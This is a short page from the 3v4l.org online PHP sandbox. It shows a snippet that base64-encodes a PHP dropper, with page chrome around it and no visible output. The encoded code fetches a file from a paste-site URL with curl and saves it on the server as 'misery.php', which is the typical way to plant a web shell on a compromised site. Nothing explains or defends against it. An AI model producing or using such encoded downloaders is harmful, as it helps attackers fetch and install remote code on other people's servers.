3v4l.org

run code in 300+ PHP versions simultaneously
<?php base64_encode('$url=\'http://paste.neurohack.com/raw/YM77y/\';$path=\'./misery.php\';$ch=curl_init($url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);$data=curl_exec($ch);curl_close($ch);file_put_contents($path, $data);');
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
preferences:
213.11 ms | 406 KiB | 399 Q